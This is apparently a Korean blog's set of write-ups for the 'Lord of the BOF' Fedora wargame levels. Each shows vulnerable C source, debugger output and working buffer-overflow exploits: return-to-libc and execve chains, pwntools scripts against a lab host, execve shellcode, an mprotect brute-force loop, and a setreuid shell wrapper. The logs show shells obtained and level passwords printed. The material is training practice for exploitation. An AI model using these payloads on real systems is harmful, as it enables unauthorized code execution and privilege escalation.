반응형
반응형

반응형

ID | titan

PW | out of the night




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - balog
    - Local BOF on Fedora Core 10 
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
        char buffer[256];
        if(argc != 2)
        {
                printf("argc Error!!\n");
                exit(-1);
        }
 
     // overflow!!
        strcpy(buffer, argv[1]);
     printf("%s\n", buffer);
 
        return 0
}
 
 
cs



http://index-of.co.uk/Reverse-Engineering/Fedora%20Core%203,4,5%20stack%20overflow%20%5Brandomkid%5D.pdf


위 글을 참고해 ex했습니다.


1. 아스키아머가 걸리지 않은 ret 코드 주소를 알아낸다.

2. main()'s 에필로그 주소를 알아낸다.

3. 몇번째 enviorns 에서 ret 이 되는지 알아낸다. 

4. &execve()'s address 를 알아낸다. 

5. 심볼릭 링크를 걸고 공격하여 root shell 을 얻어낸다. 


0x08048471 <main+93>: lea    eax,[ebp-0x104]

0x08048477 <main+99>: mov    DWORD PTR [esp],eax

0x0804847a <main+102>: call   0x8048340 <puts@plt>

0x0804847f <main+107>: mov    eax,0x0

0x08048484 <main+112>: add    esp,0x114

0x0804848a <main+118>: pop    ecx

0x0804848b <main+119>: pop    ebp

0x0804848c <main+120>: lea    esp,[ecx-0x4]

0x0804848f <main+123>: ret   


ret -> 0x0804848f


main 에필로그 -> 0x08048484



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//ex.c
#include <stdio.h>
int main()
{
 char *environs[] = {
 "K1","K2","K3","K4","K5","K6","K7","K8","K9","K10","K11","K12","K13","K14",
 "K15","K16","K17","K18","K19","K20","K21","K22","K23","K24","K25","K26","K27",
 "K28","K29","K30",0
 };
 char *argv[] = {
 "./balog2",
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08" /* <--- ret 코드 주소 */
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x84\x84\x04\x08"/* <--- main()'s 의 에필로그 */
 0
 };
 execve("./balog2",argv,environs);
}
 
cs



[titan@Fedora_3rdFloor ~]$ cp balog balog2

[titan@Fedora_3rdFloor ~]$ vi ex.c

[titan@Fedora_3rdFloor ~]$ gcc -o ex ex.c

[titan@Fedora_3rdFloor ~]$ gdb -q ex

(no debugging symbols found)
(gdb) r
Starting program: /home/titan/ex 
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Executing new program: /home/titan/balog2
Missing separate debuginfos, use: debuginfo-install glibc-2.9-3.i686
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
��������������������������������������������������������������������������������������������������������������������������������

Program received signal SIGSEGV, Segmentation fault.
0x0036324b in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.9-3.i686
(gdb) x/s $esp
0xbfffffe3: "K27"


26번째 인자가 ret되었다.



26번째 인자 <- execv() , 28번째 인자 <- execv()의 인자


[titan@Fedora_3rdFloor ~]$ gdb -q balog

(no debugging symbols found)

(gdb) b main

Breakpoint 1 at 0x8048422

(gdb) r

Starting program: /home/titan/balog 

(no debugging symbols found)

(no debugging symbols found)


Breakpoint 1, 0x08048422 in main ()

Missing separate debuginfos, use: debuginfo-install glibc-2.9-3.i686

(gdb) p execve

$1 = {<text variable, no debug info>} 0x9ab7e0 <execve>





[titan@Fedora_3rdFloor ~]$ objdump -s balog | grep "01" --color=auto

 8048148 04000000 10000000 01000000 474e5500  ............GNU.

 804818c 02000000 06000000 01000000 05000000  ................

 80481bc 01000000 00000000 00000000 20000000  ............ ...

 8048272 00000000 02000200 02000200 0100      ..............  

 8048280 01000100 10000000 10000000 00000000  ................

 80482a0 b4960408 06010000                    ........        

 80482a8 c4960408 07010000 c8960408 07020000  ................

 80483c0 8d4201a3 e0960408 ff1485e0 9504088b  .B..............

 80483d0 15e09604 0839da72 e7c605dc 96040801  .....9.r........

 8048420 e55181ec 14010000 898df8fe ffff8b85  .Q..............

 8048480 00000000 81c41401 0000595d 8d61fcc3  ..........Y].a..

 80484e0 08890424 ff94b320 ffffff83 c60139fe  ...$... ......9.

 8048548 03000000 01000200 00000000 61726763  ............argc

 8048564 011b033b 18000000 02000000 2cffffff  ...;........,...

 8048580 14000000 00000000 017a5200 017c0801  .........zR..|..

 8048590 1b0c0404 88010000 18000000 1c000000  ................

 80495ec 01000000 10000000 0c000000 d0820408  ................

 804966c feffff6f 80820408 ffffff6f 01000000  ...o.......o....

 0010 32203230 30383131 30352028 52656420  2 20081105 (Red 

 0100 20486174 20342e33 2e322d37 2900       Hat 4.3.2-7).  

[titan@Fedora_3rdFloor ~]$ gdb -q balog

(no debugging symbols found)

(gdb) b main

Breakpoint 1 at 0x8048422

(gdb) r

Starting program: /home/titan/balog 

(no debugging symbols found)

(no debugging symbols found)


Breakpoint 1, 0x08048422 in main ()

Missing separate debuginfos, use: debuginfo-install glibc-2.9-3.i686

(gdb) x/x 0x080481bc   <--- execve() 첫번째 인자

0x80481bc: 0x00000001

(gdb) x/x 0x080481c0   <--- execve() 두 세번째 인자

0x80481c0: 0x00000000



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//ex2.c
#include <stdio.h>
int main()
{
 char *environs[] = {
 "K1","K2","K3","K4","K5","K6","K7","K8","K9","K10","K11","K12","K13","K14",
 "K15","K16","K17","K18","K19","K20","K21","K22","K23","K24","K25",
 "\xe0\xb7\x9a",
 "K27",
 "\xbc\x81\x04\x08"
 "\xc0\x81\x04\x08"
 "\xc0\x81\x04\x08",0
 };
 char *argv[] = {
 "./balog",
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08" /* <--- ret 코드 주소 */
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x84\x84\x04\x08"/* <--- main()'s 의 에필로그 */
 0
 };
 execve("./balog",argv,environs);
}
 
cs



sh.c --> \x01


1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
 
int main(void)
{
  setreuid(geteuid(),geteuid());
  setregid(getegid(),getegid());
  system("/bin/sh");
}
cs


[titan@Fedora_3rdFloor ~]$ vi sh.c

[titan@Fedora_3rdFloor ~]$ vi ex2.c

[titan@Fedora_3rdFloor ~]$ gcc -o sh sh.c 

[titan@Fedora_3rdFloor ~]$ ln -s sh `python -c 'print "\x01"'`

[titan@Fedora_3rdFloor ~]$ ls -al `python -c 'print "\x01"'`

lrwxrwxrwx 1 titan titan 2 2019-02-23 04:34 ? -> sh


익스 !

[titan@Fedora_3rdFloor ~]$ gcc -o ex2 ex2.c
[titan@Fedora_3rdFloor ~]$ ./ex2
��������������������������������������������������������������������������������������������������������������������������������
Segmentation fault


....



[titan@Fedora_3rdFloor ~]$ ./ex2

��������������������������������������������������������������������������������������������������������������������������������

sh-3.2$ my-pass

euid = 500

out of the night


balog2 는 쉘이 따지는데 balog에서 세그먼트 폴트가 뜬다..


왜인지는 모르겠다.



일단 넘어가고, 나중에 다시 봐야겠다.

반응형
반응형

ID | enigma

PW | let me ride




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/*
        The Lord of the BOF : The Fellowship of the BOF
        - titan
        - Remote BOF on Fedora Core 4
        - hint : ? 
    - port : TCP 8888
*/
 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
 
static char buffer[40];
static void (*ftn)();
 
void print()
{
        printf("nothing here\n");
    fflush(stdout);
}
 
int main()
{
        char buf[48];
        ftn = print;
 
        printf("titan : What a tragic mistake.\n");
        printf("you : ");
        fflush(stdout);
 
    // give me a food
        fgets(buf,48,stdin);
 
    // buffer overflow!!
        strcpy(buffer,buf);
 
    // preventing RTL
        if(((int)ftn & 0xff000000== 0)
        {
                printf("I've an allergy to NULL");
                exit(1);
        }
 
    // clearing buffer
    memset(buffer, 040);
 
        ftn();
}
 
cs



fgets로 null 포함 48바이트를 입력받아 strcpy로 buffer[40]에 덮는데, 이 때 ftn도 덮을 수 있어서 ftn을 조작할 수 있다.



esp를 증가시켜서 fgets의 ret주소를 조작해야한다.


(gdb) b *main+108

Breakpoint 1 at 0x8048561

(gdb) r

Starting program: /home/enigma/titan 

Reading symbols from shared object read from target memory...(no debugging symbols found)...done.

Loaded system supplied DSO at 0x612000

(no debugging symbols found)

(no debugging symbols found)

titan : What a tragic mistake.

you : AAAA


Breakpoint 1, 0x08048561 in main ()

(gdb) i r eax

eax            0xbf991764 -1080486044

(gdb) i r esp

esp            0xbf991740 0xbf991740

(gdb) p 0x64-0x40

$1 = 36


buf와 esp차이는 36바이트


fgets의 ret은 buf-40


0x0804854a <main+85>: add    esp,0x10

0x0804854d <main+88>: mov    eax,ds:0x80497e4

0x08048552 <main+93>: sub    esp,0x4

0x08048555 <main+96>: push   eax

0x08048556 <main+97>: push   0x30

0x08048558 <main+99>: lea    eax,[ebp-52]

0x0804855b <main+102>: push   eax

0x0804855c <main+103>: call   0x80483c8


fgets를 call하기전, esp는 최종적으로 0xc만큼 증가한다.


fnt를 *main+85로 덮으면 esp를 12바이트씩 증가할 수 있으니


buf-40 -> -28 > -16 -> -4 -> buf+8



esp를 4번 증가시켜주고, 다음 페이로드에 dummy[8] + system[4] + dummy[4] + binsh[4] 를 담아 보내면 된다.



(gdb) p system
$2 = {<text variable, no debug info>} 0x7db0e7 <system>


"/bin/sh\x00" 찾기

1
2
3
4
5
6
7
8
9
10
#include "stdio.h"
#include "string.h"
 
int main(void){
 
        long shell = 0x7db0e7;  // <=== system()함수의 주소
        while(memcmp((void*)shell,"/bin/sh\x00",8)) shell++;
        printf("\"bin/sh\" is at 0x%lx\n", shell);
}
 
cs


[enigma@Fedora_2ndFloor ~]$ vi find.c

[enigma@Fedora_2ndFloor ~]$ gcc -o find find.c 

[enigma@Fedora_2ndFloor ~]$ ./find 

"bin/sh" is at 0x8bd987


ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
 
= remote("192.168.0.205"8888)
 
system = 0x7db0e7
binsh = 0x8bd987
 
payload = ('A' * 40 + p32(0x804854a+"\n"* 4
payload += "A" * 8
 
payload += p32(system)
payload += "AAAA"
payload += p32(binsh)
 
print(p.recvuntil("u :"))
print(payload)
p.send(payload)
 
p.interactive()
 
cs


mandu@mandu-VirtualBox:~/ex_pwn$ python ex.py 

[+] Opening connection to 192.168.0.205 on port 8888: Done

titan : What a tragic mistake.

you :

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ\x85\x0

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ\x85\x0

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ\x85\x0

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ\x85\x0

AAAAAAAA��}\x00AAAA\x87ً\x00

[*] Switching to interactive mode

 $ 

$ my-pass

euid = 503

out of the night


반응형
반응형

ID | cruel

PW | come on, come over




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
/*
        The Lord of the BOF : The Fellowship of the BOF
        - enigma
        - Remote BOF on Fedora Core 4
        - hint : ? 
    - port : TCP 7777
*/
 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
 
int vuln(int canary,char *ptr)
{
        char buffer[256];
        int *ret;
        
    // stack overflow!!
    strcpy(buffer,ptr); 
 
    // overflow protected
        if(canary != 0x31337)
        {
                printf("who broke my canary?!");
                exit(1);
        }
 
        // preventing RTL
        ret = &canary - 1;
        if((*ret & 0xff000000== 0
        {
                printf("I've an allergy to NULL");
                exit(1);
        }
 
    // clearing attack buffer
    memset(ptr, 01024);
 
        return 0;
}
 
int main()
{
    char buffer[1024];
 
    printf("enigma : The brothers will be glad to have you!\n");
    printf("you : ");
    fflush(stdout);
 
    // give me a food!
        fgets(buffer, 1024, stdin);
 
    // oops~!
        vuln(0x31337, buffer);
    
    // bye bye
    exit(0);
}

cs


가젯이 없어서 rop가 안되므로 다른 방법을 찾았다.


fgets 의 임시버퍼 stdin을 활용한다.


payload =

buffer[260] (nop + shellcode) + fakeebp[stdin+268] + leaveret + canary + mprotect + stdin + stdin + 1024 + 7


fakeebp를 통해 stdin에서의 canary 시작부분이 esp가 되고 leaveret으로 leave canary / ret mprotect


mprotect 함수로 stdin 1024만큼 RWX 권한을 부여. 여기에 사용되는 주소가 0x?????000 이어야 하는데 확인해보면 이 조건을 만족한다.


그다음 stdin으로 점프, nop sled 후에 쉘코드 실행.


stdin의 주소는 랜덤이기 때문에 brute force로 쉘을 따야 한다.


쉘코드는 25바이트 쉘코드를 사용했다.



0x0804858e <vuln+142>: leave  

0x0804858f <vuln+143>: ret   


leaveret = 0x0804858e



stdin 주소 구하기


0x080485e0 <main+80>: mov    eax,ds:0x804985c

0x080485e5 <main+85>: sub    esp,0x4

0x080485e8 <main+88>: push   eax

0x080485e9 <main+89>: push   0x400

0x080485ee <main+94>: lea    eax,[ebp-1024]

0x080485f4 <main+100>: push   eax

0x080485f5 <main+101>: call   0x80483ec


(gdb) b *main+106
Breakpoint 1 at 0x80485fa
(gdb) r
Starting program: /home/cruel/enigma 
Reading symbols from shared object read from target memory...(no debugging symbols found)...done.
Loaded system supplied DSO at 0xa36000
(no debugging symbols found)
(no debugging symbols found)
enigma : The brothers will be glad to have you!
you : AAAA                           

Breakpoint 1, 0x080485fa in main ()
(gdb) x/x 0x804985c
0x804985c <stdin@@GLIBC_2.0>: 0x008cb740
(gdb) x/10x 0x8cb740
0x8cb740 <_IO_2_1_stdin_>: 0xfbad2288 0xb7fe1005 0xb7fe1005 0xb7fe1000
0x8cb750 <_IO_2_1_stdin_+16>: 0xb7fe1000 0xb7fe1000 0xb7fe1000 0xb7fe1000
0x8cb760 <_IO_2_1_stdin_+32>: 0xb7fe1400 0x00000000
(gdb) x/10x 0xb7fe1000
0xb7fe1000: 0x41414141 0x0000000a 0x00000000 0x00000000 #AAAA
0xb7fe1010: 0x00000000 0x00000000 0x00000000 0x00000000
0xb7fe1020: 0x00000000 0x00000000

stdin = 0xb7fe1000



(gdb) p mprotect

$1 = {<text variable, no debug info>} 0x86d240 <mprotect>


mprotect = 0x86d240



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#fc4 got_overwrite
from pwn import *
 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
 
 
leaveret = 0x0804858e
canary = 0x31337
 
mprotect = 0x86d240
stdin = 0xb7fe1000
 
payload = "\x90" * (260-len(shellcode))
payload += shellcode
 
payload += p32(stdin+268#fakeebp
payload += p32(leaveret)
payload += p32(canary)
 
payload += p32(mprotect)
payload += p32(stdin)
payload += p32(stdin)
payload += p32(1024)
payload += p32(7)
 
print(payload)
 
i=1
while True:
    print i
    i += 1
 
    p = remote("192.168.0.205"7777)
 
    p.recv(1024)
    p.sendline(payload)
    time.sleep(0.1)
 
    p.sendline('whoami')
    try:
        if 'enigma' in p.recv(1024):
            print '[+]Success!!!'
            p.interactive()
            break
        else:
            p.close()
            continue
    except:
        p.close()
        continue
 
cs


108

[+] Opening connection to 192.168.0.205 on port 7777: Done

[+]Success!!!

[*] Switching to interactive mode

$ my-pass

euid = 502

let me ride

$  


처음에 500번을 시도해도 쉘이 안따졌는데, 그 이유가 쉘을 땄는지 판별하는 코드 부분의 문제였다.

그 부분을 수정하고나서 쉘이 108번만에 따졌다.

반응형
반응형

ID | dark_stone

PW | let there be light


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - cruel
    - Local BOF on Fedora Core 4
    - hint : no more fake ebp, RET sleding on random library
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
    char buffer[256];
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
 
cs



[dark_stone@Fedora_2ndFloor ~]$ gdb -q cruel

(no debugging symbols found)

Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) b* main+109

Breakpoint 1 at 0x8048451

(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Starting program: /home/dark_stone/cruel AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

(no debugging symbols found)

(no debugging symbols found)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Breakpoint 1, 0x08048451 in main ()

(gdb) x/20x $esp-20

0xbf85c778: 0x41414141 0x41414141 0x41414141 0x41414141

0xbf85c788: 0x41414141 0x007bad00 0x00000002 0xbf85c814

0xbf85c798: 0xbf85c820 0xbf85c7d0 0x00795898 0x007a3878

0xbf85c7a8: 0xb7f5e690 0x00000001 0x008caff4 0x007a2ca0

0xbf85c7b8: 0x08048454 0xbf85c7e8 0xbf85c790 0x007bad44

(gdb) x/2x 0x008caff4

0x8caff4: 0x008cad3c 0x007bab16



0x008caff4가 0x008cad3c를 가리키고 있다.

ret sleding으로 쓱 싹



0x08048450 <main+108>: leave  

0x08048451 <main+109>: ret    



(gdb) b main

Breakpoint 1 at 0x80483ed

(gdb) r

Starting program: /home/dark_stone/cruel 

(no debugging symbols found)

(no debugging symbols found)


Breakpoint 1, 0x080483ed in main ()

(gdb) p execl

$1 = {<text variable, no debug info>} 0x832d68 <execl>




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
 
#include <stdlib.h>
 
 
 
int main(void)
 
{
 
        setreuid(geteuid(),geteuid());
 
        setregid(getegid(),getegid());
 
        system("/bin/sh");
 
}
cs

[dark_stone@Fedora_2ndFloor ~]$ gcc -o `python -c 'print "\x3c\xad\x8c\x00"'` ex.c


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import os
import struct
 
 
p32 = lambda x: struct.pack("<I", x)
 
target = "/home/dark_stone/cruel"
 
ret = 0x8048451
execl = 0x832d68
 
payload = 'A' * 260
 
payload += p32(ret) * 7
payload += p32(execl)
 
os.execv(target, (target, payload[:-1]))
 
cs


[dark_stone@Fedora_2ndFloor ~]$ vi ex.py

[dark_stone@Fedora_2ndFloor ~]$ python ex.

python: can't open file 'ex.': [Errno 2] No such file or directory

[dark_stone@Fedora_2ndFloor ~]$ python ex.py

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ�Q�Q�Q�Q�Q�Q�h-�

sh-3.00$ my-pass

euid = 501

come on, come over


반응형
반응형


ID | evil_wizard

PW | get down like that


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.





1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - dark_stone
    - Remote BOF on Fedora Core 3 
    - hint : GOT overwriting again
    - port : TCP 8888
*/
 
#include <stdio.h>
 
// magic potion for you
void pop_pop_ret(void)
{
    asm("pop %eax");
    asm("pop %eax");
    asm("ret");
}
 
int main()
{
    char buffer[256];
    char saved_sfp[4];
    int length; 
    char temp[1024];
 
    printf("dark_stone : how fresh meat you are!\n");
    printf("you : ");
    fflush(stdout);
 
    // give me a food
    fgets(temp, 1024, stdin);
 
    // for disturbance RET sleding
    length = strlen(temp);
   
    // save sfp 
    memcpy(saved_sfp, buffer+2644);
 
    // overflow!!
    strcpy(buffer, temp);
 
    // restore sfp 
    memcpy(buffer+264, saved_sfp, 4);
 
    // disturbance RET sleding
    memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
 
    // buffer cleaning 
    memset(0xf6ffe00000xf7000000-0xf6ffe000);
 
    printf("%s\n", buffer);
}
 
cs


이번 문제는 nc [ip] 8888을 통해 ex를 하면 되네요.


이전 문제와 같은 방법으로 풀어보겠습니다.


0x08048620 <main+296>: lea    eax,[ebp-264]

0x08048626 <main+302>: push   eax

0x08048627 <main+303>: push   0x8048745

0x0804862c <main+308>: call   0x8048408 <_init+104>

0x08048631 <main+313>: add    esp,0x10

0x08048634 <main+316>: leave  

0x08048635 <main+317>: ret    

0x08048636 <main+318>: nop    

0x08048637 <main+319>: nop    

End of assembler dump.


printf plt 주소를 구합니다.


더미는 264 + 4 바이트만큼 주면 되겠네요.



0x080485a0 <main+168>: lea    eax,[ebp-1304]

0x080485a6 <main+174>: push   eax

0x080485a7 <main+175>: lea    eax,[ebp-264]

0x080485ad <main+181>: push   eax

0x080485ae <main+182>: call   0x8048438 <_init+152>


strcpy plt 주소를 구합니다.



(gdb) disas pop_pop_ret 

Dump of assembler code for function pop_pop_ret:

0x080484f0 <pop_pop_ret+0>: push   ebp

0x080484f1 <pop_pop_ret+1>: mov    ebp,esp

0x080484f3 <pop_pop_ret+3>: pop    eax

0x080484f4 <pop_pop_ret+4>: pop    eax

0x080484f5 <pop_pop_ret+5>: ret    

0x080484f6 <pop_pop_ret+6>: leave  

0x080484f7 <pop_pop_ret+7>: ret   


ppr 주소 0x080484f3



(gdb) x/i 0x8048408

0x8048408 <_init+104>: jmp    ds:0x804984c


printf got 0x804984c



(gdb) b main

Breakpoint 1 at 0x8048501

(gdb) r

Starting program: /home/evil_wizard/dark_stone 

(no debugging symbols found)...(no debugging symbols found)...

Breakpoint 1, 0x08048501 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x7507c0 <system>


system 주소 0x007507c0


이제 system 주소가 되어줄 조각들을 구해봅시다.



[evil_wizard@Fedora_1stFloor ~]$ objdump -s dark_stone | grep "c0" --color=auto

 8048148 03000000 0e000000 0c000000 05000000  ................

 80481b4 3c000000 68980408 04000000 11001700  <...h...........

 8048338 1069690d 00000200 8c000000 00000000  .ii.............

 8048348 2c980408 060c0000 68980408 05020000  ,.......h.......

 80483a0 5589e583 ec08e8c1 000000e8 14010000  U...............

 80483e8 ff254498 04086810 000000e9 c0ffffff  .%D...h.........


0x80483f4



[evil_wizard@Fedora_1stFloor ~]$ objdump -s dark_stone | grep "07" --color=auto

 8048178 03000000 07000000 08000000 06000000  ................


0x804817c



[evil_wizard@Fedora_1stFloor ~]$ objdump -s dark_stone | grep "75" --color=auto

 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so

 80482b4 75740066 67657473 006d656d 63707900  ut.fgets.memcpy.


0x80482b4



[evil_wizard@Fedora_1stFloor ~]$ objdump -s dark_stone | grep "00" --color=auto

 8048124 2e3200                               .2.             

 8048128 04000000 10000000 01000000 474e5500  ............GNU.

 8048138 00000000 02000000 02000000 05000000  ................


0x8048138




"/bin/sh\x00" 찾기


1
2
3
4
5
6
7
8
9
10
#include "stdio.h"
#include "string.h"
 
int main(void){
 
        long shell = 0x7507c0;  // <=== system()함수의 주소
        while(memcmp((void*)shell,"/bin/sh\x00",8)) shell++;
        printf("\"bin/sh\" is at 0x%lx\n", shell);
}
 
cs


[evil_wizard@Fedora_1stFloor ~]$ vi find_.c

[evil_wizard@Fedora_1stFloor ~]$ gcc -o find_ find_.c 

[evil_wizard@Fedora_1stFloor ~]$ ./find_ 

"bin/sh" is at 0x833603



이렇게 모두 구해서 이전 문제 익스에 사용한 코드를 재사용 하면.


익스가 안된다....



계획변경


바로 got를 덮지 않고, 먼저 bss영역에 덮은 뒤에 다시 그 값을 got를 덮도록 한다.



[evil_wizard@Fedora_1stFloor ~]$ readelf -S dark_stone

There are 28 section headers, starting at offset 0xa68:


Section Headers:

  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al

  [ 0]                   NULL            00000000 000000 000000 00      0   0  0

  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1

